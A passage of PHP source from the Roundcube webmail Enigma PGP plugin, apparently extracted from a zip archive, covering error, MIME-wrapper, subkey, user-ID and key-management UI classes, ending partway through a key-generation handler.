     * Recursive method to remove directory with its content
     *
     * @param string $dir Directory
     */
    public static function delete_dir($dir)
    {
        // This code can be executed from command line, make sure
        // we have permissions to delete keys directory
        if (!is_writable($dir)) {
            rcube::raise_error("Unable to delete $dir", false, true);
            return false;
        }

        if ($content = scandir($dir)) {
            foreach ($content as $filename) {
                if ($filename != '.' && $filename != '..') {
                    $filename = $dir . DIRECTORY_SEPARATOR . $filename;

                    if (is_dir($filename)) {
                        self::delete_dir($filename);
                    }
                    else {
                        unlink($filename);
                    }
                }
            }

            rmdir($dir);
        }

        return true;
    }

    /**
     * Check if specified driver feature is supported
     */
    public function is_supported($feature)
    {
        $this->load_pgp_driver();

        return in_array($feature, $this->pgp_driver->capabilities());
    }

    /**
     * Raise/log (relevant) errors
     */
    protected static function raise_error($result, $line, $abort = false)
    {
        if ($result->getCode() != enigma_error::BADPASS) {
            rcube::raise_error([
                    'code'    => 600,
                    'file'    => __FILE__,
                    'line'    => $line,
                    'message' => "Enigma plugin: " . $result->getMessage()
                ], true, $abort
            );
        }
    }
}
PKh�\|��p��#plugins/enigma/lib/enigma_error.phpnu�[���<?php

/**
 +-------------------------------------------------------------------------+
 | Error class for the Enigma Plugin                                       |
 |                                                                         |
 | Copyright (C) The Roundcube Dev Team                                    |
 |                                                                         |
 | Licensed under the GNU General Public License version 3 or              |
 | any later version with exceptions for skins & plugins.                  |
 | See the README file for a full license statement.                       |
 +-------------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                              |
 +-------------------------------------------------------------------------+
*/

class enigma_error
{
    private $code;
    private $message;
    private $data = [];

    // error codes
    const OK          = 0;
    const INTERNAL    = 1;
    const NODATA      = 2;
    const KEYNOTFOUND = 3;
    const DELKEY      = 4;
    const BADPASS     = 5;
    const EXPIRED     = 6;
    const UNVERIFIED  = 7;
    const NOMDC       = 8;


    function __construct($code = null, $message = '', $data = [])
    {
        $this->code    = $code;
        $this->message = $message;
        $this->data    = $data;
    }

    function getCode()
    {
        return $this->code;
    }

    function getMessage()
    {
        return $this->message;
    }

    function getData($name = null)
    {
        if ($name) {
            return $this->data[$name] ?? null;
        }

        return $this->data;
    }
}
PKh�\ �m7'*'**plugins/enigma/lib/enigma_mime_message.phpnu�[���<?php

/**
 +-------------------------------------------------------------------------+
 | Mail_mime wrapper for the Enigma Plugin                                 |
 |                                                                         |
 | Copyright (C) The Roundcube Dev Team                                    |
 |                                                                         |
 | Licensed under the GNU General Public License version 3 or              |
 | any later version with exceptions for skins & plugins.                  |
 | See the README file for a full license statement.                       |
 +-------------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                              |
 +-------------------------------------------------------------------------+
*/

class enigma_mime_message extends Mail_mime
{
    const PGP_SIGNED    = 1;
    const PGP_ENCRYPTED = 2;

    protected $type;
    protected $message;
    protected $body;
    protected $signature;
    protected $encrypted;
    protected $micalg;


    /**
     * Object constructor
     *
     * @param Mail_mime $message Original message
     * @param int       $type    Output message type
     */
    function __construct($message, $type)
    {
        $this->message = $message;
        $this->type    = $type;

        // clone parameters
        foreach (array_keys($this->build_params) as $param) {
            $this->build_params[$param] = $message->getParam($param);
        }

        // clone headers
        $this->headers = $message->headers();

        // \r\n is must-have here
        $this->body = $message->get() . "\r\n";
    }

    /**
     * Check if the message is multipart (requires PGP/MIME)
     *
     * @return bool True if it is multipart, otherwise False
     */
    public function isMultipart()
    {
        return $this->message instanceof enigma_mime_message
            || $this->message->isMultipart() || $this->message->getHTMLBody();
    }

    /**
     * Get e-mail address of message sender
     *
     * @return string|null Sender address
     */
    public function getFromAddress()
    {
        // get sender address
        $headers = $this->message->headers();

        if (isset($headers['From'])) {
            $from    = rcube_mime::decode_address_list($headers['From'], 1, false, null, true);
            $from    = $from[1] ?? null;

            return $from;
        }

        return null;
    }

    /**
     * Get recipients' e-mail addresses
     *
     * @return array Recipients' addresses
     */
    public function getRecipients()
    {
        // get sender address
        $headers = $this->message->headers();
        $to      = rcube_mime::decode_address_list($headers['To'] ?? '', null, false, null, true);
        $cc      = rcube_mime::decode_address_list($headers['Cc'] ?? '', null, false, null, true);
        $bcc     = rcube_mime::decode_address_list($headers['Bcc'] ?? '', null, false, null, true);

        $recipients = array_unique(array_filter(array_merge($to, $cc, $bcc)));
        $recipients = array_diff($recipients, ['undisclosed-recipients:']);

        return array_values($recipients);
    }

    /**
     * Get original message body, to be encrypted/signed
     *
     * @return string Message body
     */
    public function getOrigBody()
    {
        $_headers = $this->message->headers();
        $headers  = [];

        if (!empty($_headers['Content-Transfer-Encoding'])
            && stripos($_headers['Content-Type'], 'multipart') === false
        ) {
            $headers[] = 'Content-Transfer-Encoding: ' . $_headers['Content-Transfer-Encoding'];
        }
        $headers[] = 'Content-Type: ' . $_headers['Content-Type'];

        return implode("\r\n", $headers) . "\r\n\r\n" . $this->body;
    }

    /**
     * Register signature attachment
     *
     * @param string $body      Signature body
     * @param string $algorithm Hash algorithm name
     */
    public function addPGPSignature($body, $algorithm = null)
    {
        $this->signature = $body;
        $this->micalg    = $algorithm;

        // Reset Content-Type to be overwritten with valid boundary
        unset($this->headers['Content-Type']);
        unset($this->headers['Content-Transfer-Encoding']);
    }

    /**
     * Register encrypted body
     *
     * @param string $body Encrypted body
     */
    public function setPGPEncryptedBody($body)
    {
        $this->encrypted = $body;

        // Reset Content-Type to be overwritten with valid boundary
        unset($this->headers['Content-Type']);
        unset($this->headers['Content-Transfer-Encoding']);
    }

    /**
     * Builds the multipart message.
     *
     * @param array    $params    Build parameters that change the way the email
     *                            is built. Should be associative. See $_build_params.
     * @param resource $filename  Output file where to save the message instead of
     *                            returning it
     * @param bool     $skip_head True if you want to return/save only the message
     *                            without headers
     *
     * @return mixed The MIME message content string, null or PEAR error object
     */
    public function get($params = null, $filename = null, $skip_head = false)
    {
        if (!empty($params)) {
            foreach ($params as $key => $value) {
                $this->build_params[$key] = $value;
            }
        }

        $this->checkParams();

        if ($this->type == self::PGP_SIGNED) {
            $params = [
                'preamble'     => "This is an OpenPGP/MIME signed message (RFC 4880 and 3156)",
                'content_type' => "multipart/signed; protocol=\"application/pgp-signature\"",
                'eol'          => $this->build_params['eol'],
            ];

            if ($this->micalg) {
                $params['content_type'] .= "; micalg=pgp-" . $this->micalg;
            }

            $message = new Mail_mimePart('', $params);

            if (!empty($this->body)) {
                $headers = $this->message->headers();
                $params  = ['content_type' => $headers['Content-Type']];

                if (!empty($headers['Content-Transfer-Encoding'])
                    && stripos($headers['Content-Type'], 'multipart') === false
                ) {
                    $params['encoding'] = $headers['Content-Transfer-Encoding'];

                    // For plain text body we have to decode it back, to prevent from
                    // a double encoding issue (#8413)
                    $this->body = rcube_mime::decode($this->body, $this->build_params['text_encoding']);
                }

                $message->addSubpart($this->body, $params);
            }

            if (!empty($this->signature)) {
                $message->addSubpart($this->signature, [
                        'filename'     => 'signature.asc',
                        'content_type' => 'application/pgp-signature',
                        'disposition'  => 'attachment',
                        'description'  => 'OpenPGP digital signature',
                ]);
            }
        }
        else if ($this->type == self::PGP_ENCRYPTED) {
            $params = [
                'preamble'     => "This is an OpenPGP/MIME encrypted message (RFC 4880 and 3156)",
                'content_type' => "multipart/encrypted; protocol=\"application/pgp-encrypted\"",
                'eol'          => $this->build_params['eol'],
            ];

            $message = new Mail_mimePart('', $params);

            $message->addSubpart('Version: 1', [
                    'content_type' => 'application/pgp-encrypted',
                    'description'  => 'PGP/MIME version identification',
            ]);

            $message->addSubpart($this->encrypted, [
                    'content_type' => 'application/octet-stream',
                    'description'  => 'PGP/MIME encrypted message',
                    'disposition'  => 'inline',
                    'filename'     => 'encrypted.asc',
            ]);
        }

        // Use saved boundary
        if (!empty($this->build_params['boundary'])) {
            $boundary = $this->build_params['boundary'];
        }
        else {
            $boundary = null;
        }

        // Write output to file
        if ($filename) {
            // Append mimePart message headers and body into file
            $headers = $message->encodeToFile($filename, $boundary, $skip_head);

            if ($this->isError($headers)) {
                return $headers;
            }

            $this->headers = array_merge($this->headers, $headers);
        }
        else {
            $output = $message->encode($boundary, $skip_head);

            if ($this->isError($output)) {
                return $output;
            }

            $this->headers = array_merge($this->headers, $output['headers']);
        }

        // remember the boundary used, in case we'd handle headers() call later
        if (empty($boundary) && !empty($this->headers['Content-Type'])) {
            if (preg_match('/boundary="([^"]+)/', $this->headers['Content-Type'], $m)) {
                $this->build_params['boundary'] = $m[1];
            }
        }

        return $filename ? null : $output['body'];
    }

    /**
     * Get Content-Type and Content-Transfer-Encoding headers of the message
     *
     * @return array Headers array
     */
    protected function contentHeaders()
    {
        $this->checkParams();

        $eol = $this->build_params['eol'] ?: "\r\n";

        // multipart message: and boundary
        if (!empty($this->build_params['boundary'])) {
            $boundary = $this->build_params['boundary'];
        }
        else if (!empty($this->headers['Content-Type'])
            && preg_match('/boundary="([^"]+)"/', $this->headers['Content-Type'], $m)
        ) {
            $boundary = $m[1];
        }
        else {
            $boundary = '=_' . md5(rand() . microtime());
        }

        $this->build_params['boundary'] = $boundary;

        if ($this->type == self::PGP_SIGNED) {
            $headers['Content-Type'] = "multipart/signed;$eol"
                ." protocol=\"application/pgp-signature\";$eol"
                ." boundary=\"$boundary\"";

            if ($this->micalg) {
                $headers['Content-Type'] .= ";{$eol} micalg=pgp-" . $this->micalg;
            }
        }
        else if ($this->type == self::PGP_ENCRYPTED) {
            $headers['Content-Type'] = "multipart/encrypted;$eol"
                ." protocol=\"application/pgp-encrypted\";$eol"
                ." boundary=\"$boundary\"";
        }

        return $headers;
    }
}
PKh�\��x��$plugins/enigma/lib/enigma_userid.phpnu�[���<?php

/**
 +-------------------------------------------------------------------------+
 | User ID class for the Enigma Plugin                                     |
 |                                                                         |
 | Copyright (C) The Roundcube Dev Team                                    |
 |                                                                         |
 | Licensed under the GNU General Public License version 3 or              |
 | any later version with exceptions for skins & plugins.                  |
 | See the README file for a full license statement.                       |
 +-------------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                              |
 +-------------------------------------------------------------------------+
*/

class enigma_userid
{
    public $revoked;
    public $valid;
    public $name;
    public $comment;
    public $email;
}
PKh�\9H��oo$plugins/enigma/lib/enigma_subkey.phpnu�[���<?php

/**
 +-------------------------------------------------------------------------+
 | SubKey class for the Enigma Plugin                                      |
 |                                                                         |
 | Copyright (C) The Roundcube Dev Team                                    |
 |                                                                         |
 | Licensed under the GNU General Public License version 3 or              |
 | any later version with exceptions for skins & plugins.                  |
 | See the README file for a full license statement.                       |
 +-------------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                              |
 +-------------------------------------------------------------------------+
*/

class enigma_subkey
{
    public $id;
    public $fingerprint;
    public $expires;
    public $created;
    public $revoked;
    public $has_private;
    public $algorithm;
    public $length;
    public $usage;


    /**
     * Converts internal ID to short ID
     * Crypt_GPG uses internal, but e.g. Thunderbird's Enigmail displays short ID
     *
     * @return string Key ID
     */
    function get_short_id()
    {
        // E.g. 04622F2089E037A5 => 89E037A5
        return enigma_key::format_id($this->id);
    }

    /**
     * Getter for formatted fingerprint
     *
     * @return string Formatted fingerprint
     */
    function get_fingerprint()
    {
        return enigma_key::format_fingerprint($this->fingerprint);
    }

    /**
     * Returns human-readable name of the key's algorithm
     *
     * @return string Algorithm name
     */
    function get_algorithm()
    {
        // http://tools.ietf.org/html/rfc4880#section-9.1
        switch ($this->algorithm) {
        case 1:
        case 2:
        case 3:
            return 'RSA';
        case 16:
        case 20:
            return 'Elgamal';
        case 17:
            return 'DSA';
        case 18:
            return 'Elliptic Curve';
        case 19:
            return 'ECDSA';
        case 21:
            return 'Diffie-Hellman';
        case 22:
            return 'EdDSA';
        }
    }

    /**
     * Checks if the subkey has expired
     *
     * @return bool
     */
    function is_expired()
    {
        $now = new DateTime('now');

        return !empty($this->expires) && $this->expires < $now;
    }

    /**
     * Returns subkey creation date-time string
     *
     * @return string|null
     */
    function get_creation_date()
    {
        if (empty($this->created)) {
            return null;
        }

        $date_format = rcube::get_instance()->config->get('date_format', 'Y-m-d');

        return $this->created->format($date_format);
    }

    /**
     * Returns subkey expiration date-time string
     *
     * @return string|null
     */
    function get_expiration_date()
    {
        if (empty($this->expires)) {
            return null;
        }

        $date_format = rcube::get_instance()->config->get('date_format', 'Y-m-d');

        return $this->expires->format($date_format);
    }
}
PKh�\�n����� plugins/enigma/lib/enigma_ui.phpnu�[���<?php

/**
 +-------------------------------------------------------------------------+
 | User Interface for the Enigma Plugin                                    |
 |                                                                         |
 | Copyright (C) The Roundcube Dev Team                                    |
 |                                                                         |
 | Licensed under the GNU General Public License version 3 or              |
 | any later version with exceptions for skins & plugins.                  |
 | See the README file for a full license statement.                       |
 +-------------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                              |
 +-------------------------------------------------------------------------+
*/

class enigma_ui
{
    private $rc;
    private $enigma;
    private $home;
    private $css_loaded;
    private $js_loaded;
    private $data;
    private $keys_parts  = [];
    private $keys_bodies = [];

    /**
     * Object constructor
     *
     * @param enigma $enigma_plugin The plugin instance
     * @param string $home          Home directory
     */
    function __construct($enigma_plugin, $home = '')
    {
        $this->enigma = $enigma_plugin;
        $this->rc     = $enigma_plugin->rc;
        $this->home   = $home; // we cannot use $enigma_plugin->home here
    }

    /**
     * UI initialization and requests handlers.
     */
    function init()
    {
        $this->add_js();

        $action = rcube_utils::get_input_string('_a', rcube_utils::INPUT_GPC);

        if ($this->rc->action == 'plugin.enigmakeys') {
            switch ($action) {
                case 'delete':
                    $this->key_delete();
                    break;
/*
                case 'edit':
                    $this->key_edit();
                    break;
*/
                case 'import':
                    $this->key_import();
                    break;

                case 'import-search':
                    $this->key_import_search();
                    break;

                case 'export':
                    $this->key_export();
                    break;

                case 'generate':
                    $this->key_generate();
                    break;

                case 'create':
                    $this->key_create();
                    break;

                case 'search':
                case 'list':
                    $this->key_list();
                    break;

                case 'info':
                    $this->key_info();
                    break;
            }

            $this->rc->output->add_handlers([
                    'keyslist'     => [$this, 'tpl_keys_list'],
                    'countdisplay' => [$this, 'tpl_keys_rowcount'],
                    'searchform'   => [$this->rc->output, 'search_form'],
            ]);

            $this->rc->output->set_pagetitle($this->enigma->gettext('enigmakeys'));
            $this->rc->output->send('enigma.keys');
        }
/*
        // Preferences UI
        else if ($this->rc->action == 'plugin.enigmacerts') {
            $this->rc->output->add_handlers([
                    'keyslist'     => [$this, 'tpl_certs_list'],
                    'keyframe'     => [$this, 'tpl_cert_frame'],
                    'countdisplay' => [$this, 'tpl_certs_rowcount'],
                    'searchform'   => [$this->rc->output, 'search_form'],
            ]);

            $this->rc->output->set_pagetitle($this->enigma->gettext('enigmacerts'));
            $this->rc->output->send('enigma.certs');
        }
*/
        // Message composing UI
        else if ($this->rc->action == 'compose') {
            $this->compose_ui();
        }
    }

    /**
     * Adds CSS style file to the page header.
     */
    function add_css()
    {
        if ($this->css_loaded) {
            return;
        }

        $skin_path = $this->enigma->local_skin_path();
        $this->enigma->include_stylesheet("$skin_path/enigma.css");
        $this->css_loaded = true;
    }

    /**
     * Adds javascript file to the page header.
     */
    function add_js()
    {
        if ($this->js_loaded) {
            return;
        }

        $this->enigma->include_script('enigma.js');

        $this->rc->output->set_env('keyservers', $this->rc->config->keyservers());

        $this->js_loaded = true;
    }

    /**
     * Initializes key password prompt
     *
     * @param enigma_error $status Error object with key info
     * @param array        $params Optional prompt parameters
     */
    function password_prompt($status, $params = [])
    {
        $data = array_merge($status->getData('missing') ?: [], $status->getData('bad') ?: []);

        // A message can be encrypted with multiple private keys,
        // find the one that exists in the keyring
        foreach ($data as $keyid => $username) {
            $key = $this->enigma->engine->get_key($keyid);
            if ($key && $key->is_private()) {
                if ($key->name && strpos($username, $keyid) !== false) {
                    $data[$keyid] = $key->name;
                }

                break;
            }
        }

        $data  = [
            'keyid' => $keyid,
            'user'  => $data[$keyid]
        ];

        if (!empty($params)) {
            $data = array_merge($params, $data);
        }

        if (preg_match('/^(send|plugin.enigmaimport|plugin.enigmakeys)$/', $this->rc->action)) {
            $this->rc->output->command('enigma_password_request', $data);
        }
        else {
            $this->rc->output->set_env('enigma_password_request', $data);
        }

        // add some labels to client
        $this->rc->output->add_label('enigma.enterkeypasstitle', 'enigma.enterkeypass',
            'save', 'cancel');

        $this->add_css();
        $this->add_js();
    }

    /**
     * Template object for list of keys.
     *
     * @param array $attrib Object attributes
     *
     * @return string HTML content
     */
    function tpl_keys_list($attrib)
    {
        // add id to message list table if not specified
        if (empty($attrib['id'])) {
            $attrib['id'] = 'rcmenigmakeyslist';
        }

        // define list of cols to be displayed
        $a_show_cols = ['name'];

        // create XHTML table
        $out = rcmail_action::table_output($attrib, [], $a_show_cols, 'id');

        // set client env
        $this->rc->output->add_gui_object('keyslist', $attrib['id']);
        $this->rc->output->include_script('list.js');

        // add some labels to client
        $this->rc->output->add_label('enigma.keyremoveconfirm', 'enigma.keyremoving',
            'enigma.keyexportprompt', 'enigma.withprivkeys', 'enigma.onlypubkeys',
            'enigma.exportkeys', 'enigma.importkeys', 'enigma.keyimportsearchlabel',
            'import', 'search'
        );

        return $out;
    }

    /**
     * Key listing (and searching) request handler
     */
    private function key_list()
    {
        $this->enigma->load_engine();

        $pagesize = $this->rc->config->get('pagesize', 100);
        $page     = max(intval(rcube_utils::get_input_string('_p', rcube_utils::INPUT_GPC)), 1);
        $search   = rcube_utils::get_input_string('_q', rcube_utils::INPUT_GPC);

        // Get the list
        $list     = $this->enigma->engine->list_keys($search);
        $size     = 0;
        $listsize = 0;

        if (!is_array($list)) {
            $this->rc->output->show_message('enigma.keylisterror', 'error');
        }
        else if (empty($list)) {
            $this->rc->output->show_message('enigma.nokeysfound', 'notice');
        }
        else {
            // Save the size
            $listsize = count($list);

            // Sort the list by key (user) name
            usort($list, ['enigma_key', 'cmp']);

            // Slice current page
            $list = array_slice($list, ($page - 1) * $pagesize, $pagesize);
            $size = count($list);

            // Add rows
            foreach ($list as $key) {
                $this->rc->output->command('enigma_add_list_row', [
                        'name'  => rcube::Q($key->name),
                        'id'    => $key->id,
                        'flags' => $key->is_private() ? 'p' : ''
                ]);
            }
        }

        $this->rc->output->set_env('rowcount', $size);
        $this->rc->output->set_env('search_request', $search);
        $this->rc->output->set_env('pagecount', ceil($listsize/$pagesize));
        $this->rc->output->set_env('current_page', $page);
        $this->rc->output->command('set_rowcount', $this->get_rowcount_text($listsize, $size, $page));

        $this->rc->output->send();
    }

    /**
     * Template object for list records counter.
     *
     * @param array $attrib Object attributes
     *
     * @return string HTML output
     */
    function tpl_keys_rowcount($attrib)
    {
        if (empty($attrib['id'])) {
            $attrib['id'] = 'rcmcountdisplay';
        }

        $this->rc->output->add_gui_object('countdisplay', $attrib['id']);

        return html::span($attrib, $this->get_rowcount_text());
    }

    /**
     * Returns text representation of list records counter
     */
    private function get_rowcount_text($all = 0, $curr_count = 0, $page = 1)
    {
        if (!$curr_count) {
            $out = $this->enigma->gettext('nokeysfound');
        }
        else {
            $pagesize = $this->rc->config->get('pagesize', 100);
            $first    = ($page - 1) * $pagesize;

            $out = $this->enigma->gettext([
                    'name' => 'keysfromto',
                    'vars' => ['from' => $first + 1, 'to' => $first + $curr_count, 'count' => $all]
            ]);
        }

        return $out;
    }

    /**
     * Key information page handler
     */
    private function key_info()
    {
        $this->enigma->load_engine();

        $id  = rcube_utils::get_input_string('_id', rcube_utils::INPUT_GET);
        $res = $this->enigma->engine->get_key($id);

        if ($res instanceof enigma_key) {
            $this->data = $res;
        }
        else { // error
            $this->rc->output->show_message('enigma.keyopenerror', 'error');
            $this->rc->output->command('parent.enigma_loadframe');
            $this->rc->output->send('iframe');
        }

        $this->rc->output->add_handlers([
            'keyname' => [$this, 'tpl_key_name'],
            'keydata' => [$this, 'tpl_key_data'],
        ]);

        $this->rc->output->set_pagetitle($this->enigma->gettext('keyinfo'));
        $this->rc->output->send('enigma.keyinfo');
    }

    /**
     * Template object for key name
     *
     * @param array $attrib Object attributes
     *
     * @return string HTML output
     */
    function tpl_key_name($attrib)
    {
        return rcube::Q($this->data->name);
    }

    /**
     * Template object for key information page content
     *
     * @param array $attrib Object attributes
     *
     * @return string HTML output
     */
    function tpl_key_data($attrib)
    {
        $out   = '';
        $table = new html_table(['cols' => 2]);

        // Key user ID
        $table->add('title', html::label(null, $this->enigma->gettext('keyuserid')));
        $table->add(null, rcube::Q($this->data->name));

        // Key ID
        $table->add('title', html::label(null, $this->enigma->gettext('keyid')));
        $table->add(null, $this->data->subkeys[0]->get_short_id());

        // Key type
        $keytype = $this->data->get_type();
        $type    = null;
        if ($keytype == enigma_key::TYPE_KEYPAIR) {
            $type = $this->enigma->gettext('typekeypair');
        }
        else if ($keytype == enigma_key::TYPE_PUBLIC) {
            $type = $this->enigma->gettext('typepublickey');
        }

        $table->add('title', html::label(null, $this->enigma->gettext('keytype')));
        $table->add(null, $type);

        // Key fingerprint
        $table->add('title', html::label(null, $this->enigma->gettext('fingerprint')));
        $table->add(null, $this->data->subkeys[0]->get_fingerprint());

        $out .= html::tag('fieldset', null,
            html::tag('legend', null, $this->enigma->gettext('basicinfo')) . $table->show($attrib)
        );

        // Subkeys
        $table = new html_table(['cols' => 5, 'id' => 'enigmasubkeytable', 'class' => 'records-table']);

        $table->add_header('id', $this->enigma->gettext('subkeyid'));
        $table->add_header('algo', $this->enigma->gettext('subkeyalgo'));
        $table->add_header('created', $this->enigma->gettext('subkeycreated'));
        $table->add_header('expires', $this->enigma->gettext('subkeyexpires'));
        $table->add_header('usage', $this->enigma->gettext('subkeyusage'));

        $usage_map = [
            enigma_key::CAN_ENCRYPT      => $this->enigma->gettext('typeencrypt'),
            enigma_key::CAN_SIGN         => $this->enigma->gettext('typesign'),
            enigma_key::CAN_CERTIFY      => $this->enigma->gettext('typecert'),
            enigma_key::CAN_AUTHENTICATE => $this->enigma->gettext('typeauth'),
        ];

        foreach ($this->data->subkeys as $subkey) {
            $algo = $subkey->get_algorithm();
            if ($algo && $subkey->length) {
                $algo .= ' (' . $subkey->length . ')';
            }

            $usage = [];
            foreach ($usage_map as $key => $text) {
                if ($subkey->usage & $key) {
                    $usage[] = $text;
                }
            }

            $table->set_row_attribs($subkey->revoked || $subkey->is_expired() ? 'deleted' : '');
            $table->add('id', $subkey->get_short_id());
            $table->add('algo', $algo);
            $table->add('created', $subkey->get_creation_date());
            $table->add('expires', $subkey->get_expiration_date() ?: $this->enigma->gettext('expiresnever'));
            $table->add('usage', implode(',', $usage));
        }

        $out .= html::tag('fieldset', null,
            html::tag('legend', null, $this->enigma->gettext('subkeys')) . $table->show()
        );

        // Additional user IDs
        $table = new html_table(['cols' => 2, 'id' => 'enigmausertable', 'class' => 'records-table']);

        $table->add_header('id', $this->enigma->gettext('userid'));
        $table->add_header('valid', $this->enigma->gettext('uservalid'));

        foreach ($this->data->users as $user) {
            // Display domains in UTF8
            if ($email = rcube_utils::idn_to_utf8($user->email)) {
                $user->email = $email;
            }

            $username = $user->name;
            if (!empty($user->comment)) {
                $username .= ' (' . $user->comment . ')';
            }
            $username .= ' <' . $user->email . '>';

            $table->set_row_attribs($user->revoked || !$user->valid ? 'deleted' : '');
            $table->add('id', rcube::Q(trim($username)));
            $table->add('valid', $this->enigma->gettext($user->valid ? 'valid' : 'unknown'));
        }

        $out .= html::tag('fieldset', null,
            html::tag('legend', null, $this->enigma->gettext('userids')) . $table->show()
        );

        return $out;
    }

    /**
     * Key(s) export handler
     */
    private function key_export()
    {
        $keys   = rcube_utils::get_input_string('_keys', rcube_utils::INPUT_POST);
        $priv   = rcube_utils::get_input_string('_priv', rcube_utils::INPUT_POST);
        $engine = $this->enigma->load_engine();
        $list   = $keys == '*' ? $engine->list_keys() : explode(',', $keys);

        if (is_array($list) && ($fp = fopen('php://memory', 'rw'))) {
            $filename = 'export.pgp';
            if (count($list) == 1) {
                $filename = (is_object($list[0]) ? $list[0]->id : $list[0]) . '.pgp';
            }

            $status = null;
            foreach ($list as $key) {
                $keyid  = is_object($key) ? $key->id : $key;
                $status = $engine->export_key($keyid, $fp, (bool) $priv);

                if ($status instanceof enigma_error) {
                    $code = $status->getCode();

                    if ($code == enigma_error::BADPASS) {
                        $this->password_prompt($status, [
                                'input_keys'   => $keys,
                                'input_priv'   => 1,
                                'input_task'   => 'settings',
                                'input_action' => 'plugin.enigmakeys',
                                'input_a'      => 'export',
                                'action'       => '?',
                                'iframe'       => true,
                                'nolock'       => true,
                        ]);
                        fclose($fp);
                        $this->rc->output->send('iframe');
                    }
                }
            }

            // send download headers
            header('Content-Type: application/pgp-keys');
            header('Content-Disposition: attachment; filename="' . $filename . '"');

            rewind($fp);
            while (!feof($fp)) {
                echo fread($fp, 1024 * 1024);
            }
            fclose($fp);
        }

        exit;
    }

    /**
     * Key import (page) handler
     */
    private function key_import()
    {
        // Import process
        if ($data = rcube_utils::get_input_string('_keys', rcube_utils::INPUT_POST)) {
            $this->enigma->load_engine();
            $this->enigma->engine->password_handler();

            $result = $this->enigma->engine->import_key($data);

            if (is_array($result)) {
                if (rcube_utils::get_input_value('_generated', rcube_utils::INPUT_POST)) {
                    $this->rc->output->command('enigma_key_create_success');
                    $this->rc->output->show_message('enigma.keygeneratesuccess', 'confirmation');
                }
                else {
                    $this->rc->output->show_message('enigma.keysimportsuccess', 'confirmation',
                        ['new' => $result['imported'], 'old' => $result['unchanged']]);

                    if ($result['imported'] && !empty($_POST['_refresh'])) {
                        $this->rc->output->command('enigma_list', 1, false);
                    }
                }
            }
            else {
                $this->rc->output->show_message('enigma.keysimportfailed', 'error');
            }

            $this->rc->output->send();
        }
        else if (!empty($_FILES['_file']['tmp_name']) && is_uploaded_file($_FILES['_file']['tmp_name'])) {
            $this->enigma->load_engine();
            $result = $this->enigma->engine->import_key($_FILES['_file']['tmp_name'], true);

            if (is_array($result)) {
                // reload list if any keys has been added
                if ($result['imported']) {
                    $this->rc->output->command('parent.enigma_list', 1);
                }

                $this->rc->output->show_message('enigma.keysimportsuccess', 'confirmation',
                    ['new' => $result['imported'], 'old' => $result['unchanged']]);

                $this->rc->output->command('parent.enigma_import_success');
            }
            else if ($result instanceof enigma_error && $result->getCode() == enigma_error::BADPASS) {
                $this->password_prompt($result);
            }
            else {
                $this->rc->output->show_message('enigma.keysimportfailed', 'error');
            }
            $this->rc->output->send('iframe');
        }
        else if (!empty($_FILES['_file']['error'])) {
            rcmail_action::upload_error($_FILES['_file']['error']);
            $this->rc->output->send('iframe');
        }

        $this->rc->output->add_handlers([
                'importform' => [$this, 'tpl_key_import_form'],
        ]);

        $this->rc->output->send('enigma.keyimport');
    }

    /**
     * Key import-search (page) handler
     */
    private function key_import_search()
    {
        $this->rc->output->add_handlers([
                'importform' => [$this, 'tpl_key_import_form'],
        ]);

        $this->rc->output->send('enigma.keysearch');
    }

    /**
     * Template object for key import (upload) form
     *
     * @param array $attrib Object attributes
     *
     * @return string HTML output
     */
    function tpl_key_import_form($attrib)
    {
        $attrib += ['id' => 'rcmKeyImportForm'];

        if (empty($attrib['part']) || $attrib['part'] == 'import') {
            $title  = $this->enigma->gettext('keyimportlabel');
            $upload = new html_inputfield([
                    'type'  => 'file',
                    'name'  => '_file',
                    'id'    => 'rcmimportfile',
                    'size'  => 30,
                    'class' => 'form-control'
            ]);

            $max_filesize  = rcmail_action::upload_init();
            $upload_button = new html_button([
                    'class'   => 'button import',
                    'onclick' => "return rcmail.command('plugin.enigma-import','',this,event)",
            ]);

            $form = html::div(null, html::p(null, rcube::Q($this->enigma->gettext('keyimporttext'), 'show'))
                . $upload->show()
                . html::div('hint', $this->rc->gettext(['id' => 'importfile', 'name' => 'maxuploadsize', 'vars' => ['size' => $max_filesize]]))
                . (empty($attrib['part']) ? html::br() . html::br() . $upload_button->show($this->rc->gettext('import')) : '')
            );

            if (empty($attrib['part'])) {
                $form = html::tag('fieldset', '', html::tag('legend', null, $title) . $form);
            }
            else {
                $this->rc->output->set_pagetitle($title);
            }

            $warning = $this->enigma->gettext('keystoragenotice');
            $warning = html::div(['class' => 'boxinformation mb-3', 'id' => 'key-notice'], $warning);

            $form = $warning . $form;
        }

        if (empty($attrib['part']) || $attrib['part'] == 'search') {
            $title  = $this->enigma->gettext('keyimportsearchlabel');
            $search = new html_inputfield(['type' => 'text', 'name' => '_search',
                'id' => 'rcmimportsearch', 'size' => 30, 'class' => 'form-control']);

            $search_button = new html_button([
                    'class'   => 'button search',
                    'onclick' => "return rcmail.command('plugin.enigma-import-search','',this,event)",
            ]);

            $form = html::div(null,
                rcube::Q($this->enigma->gettext('keyimportsearchtext'), 'show')
                . html::br() . html::br() . $search->show()
                . (empty($attrib['part']) ? html::br() . html::br() . $search_button->show($this->rc->gettext('search')) : '')
            );

            if (empty($attrib['part'])) {
                $form = html::tag('fieldset', '', html::tag('legend', null, $title) . $form);
            }
            else {
                $this->rc->output->set_pagetitle($title);
            }

            $this->rc->output->include_script('publickey.js');
        }

        $this->rc->output->add_label('selectimportfile', 'importwait', 'nopubkeyfor', 'nopubkeyforsender',
            'encryptnoattachments','encryptedsendialog','searchpubkeyservers', 'importpubkeys',
            'encryptpubkeysfound',  'search', 'close', 'import', 'keyid', 'keylength', 'keyexpired',
            'keyrevoked', 'keyimportsuccess', 'keyservererror');

        $this->rc->output->add_gui_object('importform', $attrib['id']);

        $out = $this->rc->output->form_tag([
                'action'  => $this->rc->url(['action' => $this->rc->action, 'a' => 'import']),
                'method'  => 'post',
                'enctype' => 'multipart/form-data'
            ] + $attrib,
            $form ?? ''
        );

        return $out;
    }

    /**
     * Server-side key pair generation handler
     */
    private function key_generate()
    {
        // Crypt_GPG does not support key generation for multiple identities
        // It is also very slow (which is problematic because it may exceed
        // request time limit) and requires entropy generator
        // That's why we use only OpenPGP.js method of key generation
        return;

